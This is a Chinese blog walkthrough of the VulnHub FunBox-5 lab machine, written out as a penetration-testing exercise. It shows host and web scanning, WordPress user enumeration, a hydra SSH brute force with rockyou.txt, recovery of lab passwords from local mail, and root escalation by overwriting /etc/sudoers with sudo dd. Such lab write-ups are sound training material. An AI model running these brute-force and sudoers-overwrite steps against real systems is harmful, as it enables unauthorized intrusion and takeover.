vulnhub靶场之FunBox-5

一.环境搭建

1.靶场描述

Lets separate the script-kids from script-teenies.

Hint: The first impression is not always the right one!

If you need hints, call me on twitter: @0815R2d2 Have fun...

This works better with VirtualBox rather than VMware

This works better with VirtualBox rather than VMware.

2.靶场下载

https://www.vulnhub.com/entry/funbox-next-level,547/

image-20240505210150176

3.靶场启动

image-20240505210220611

二.信息收集

1.探测IP地址

nmap -sP 192.168.2.0/24

image-20240505210631152

arp-scan -l

image-20240505210650840

我们探测出来IP地址为192.168.2.8

2.探测端口及服务

nmap -p- -sV 192.168.2.8

image-20240505211214614

开启了80端口,服务为Apache2
开启了22端口,服务为ssh

通过端口我们可以知道,又是ssh登录

三.渗透测试

1.访问web服务

http://192.168.2.8

image-20240505211508157

可以看到是一个apache2页面

2.扫描web服务

1)nikto扫描网站结构

nikto -h http://192.168.2.8

image-20240505211735325

扫描到一个robots.txt敏感目录

2)dirsearch扫描

这里IP地址变为192.168.2.9
dirsearch -u http://192.168.2.9 -e * -x 403 --random-agent

image-20240505212342222

扫描出来一个http://192.168.2.9/drupal

3)dirb扫描

dirb http://192.168.2.9

image-20240505212903776

3.渗透测试

1)访问robots.txt

http://192.168.2.9/robots.txt

image-20240505213108046

http://192.168.2.9/Thinking

image-20240505213143759

没有任何有用的信息

2)访问drupal目录

http://192.168.2.9/drupal

image-20240505213436812

我们发现重定向了192.168.178.33,没有什么用,我们进行扫描drupal试试

image-20240505214734508

我们可以看到cms是wordpress,那么我们使用wpscan进行爆破,因为开启了22端口,我们可以进行ssh登录

3)wpscan爆破

wpscan –url http://192.168.2.9/drupal/index.php –wp-content-dir=http://192.168.2.8/drupal/wp-content/ -e

image-20240505215430043

我们可以看到爆破出来2个用户名,一个是admin,一个是ben

4)hydra爆破

hydra -l admin -P  /usr/share/wordlists/rockyou.txt  ssh://192.168.2.9

image-20240505215553186

我们可以看到爆破不出来,那么我们爆破另一个

hydra -l ben -P  /usr/share/wordlists/rockyou.txt  ssh://192.168.2.9

image-20240505215603591

爆破出来密码是pookie

5)ssh登录

ssh ben@192.168.2.9

image-20240505215848216

我们可以看到登录成功

我们在根目录下可以看到mail目录,但是里面的文件我们没有权限查看

image-20240505220022514

image-20240505221052245

提权也提权不了,我们换一个思路

6)邮件服务

发现 ben 用户在 mail 组中 会不会有邮件发服务呢 netstart -anpt

image-20240505220408960

我们可以看到110端口是开放的吗,我们使用110端口进行查看

现存在邮件服务 通过110端口 连接本地 telnet 127.0.0.1 110发现可以, 而且有三封信 发现账号密码:adam/qwedsayxc!

image-20240505220805479

image-20240505220859984

image-20240505220915396

我们使用adam进行登录

ssh adam@192.168.2.9

image-20240505221713112

我们可以看到登录成功

7)提权

切换用户查看权限 id发现在sudo组 查看sudo -l发现了dd,de,df都可以sudo提权 只有dd可以使用

image-20240505221921830

提权方法查询网站:GTFOBins

image-20240505221959108

该命令可以写入具有root权限的文件,执行命令进行写入文件/etc/sudoers,设置adam用户具有全部的特权命令

LFILE=/etc/sudoers
echo "adam    ALL=(ALL:ALL) ALL" | sudo dd of=$LFILE

image-20240505222138478

可以使用find命令进行提权,提权成功

image-20240505222232759

获取flag

image-20240505222354615

至此获取到了所有得flag,渗透测试结束。

  • 10
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

MS02423

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值